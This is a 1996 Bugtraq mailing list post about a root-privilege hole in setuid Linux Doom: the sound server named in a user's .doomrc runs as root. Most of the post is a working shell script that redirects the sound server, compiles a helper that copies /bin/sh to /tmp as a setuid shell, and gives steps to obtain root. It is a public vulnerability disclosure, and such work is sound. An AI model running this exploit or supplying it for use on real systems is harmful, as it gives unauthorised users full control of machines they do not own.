Bugtraq mailing list archives

Re: Linux: killmouse/doom


From: bo () ebony iaehv nl (Bo)
Date: Tue, 17 Dec 1996 10:18:24 +0100


From: Joe Zbiciak <im14u2c () cegt201 bradley edu>
Subject:      Re: Linux: exploit for killmouse.

Which reminds me, there's a bigger hole in Doom.  It doesn't drop its
root permissions soon enough!  The user is allowed to set a sound server
in his/her .doomrc.  Normally, this is set to "sndserver".  Howver, this
can be set to *any* program, and that program runs as root!!

Yes,  very true. And just in case anybody collects these scripts, here's
the obvious one:

#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
        if (fork()) while (getc(stdin));
        else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
                /* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver

The  fork()  is  just so that doom runs on nicely without locking up the
keyboard  and  sndserver  gobbles  up all the sound data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.

Thanks for pointing it out, Joe.

Regards,
                Bo.

--
                "Heisenberg may have been here".



Current thread: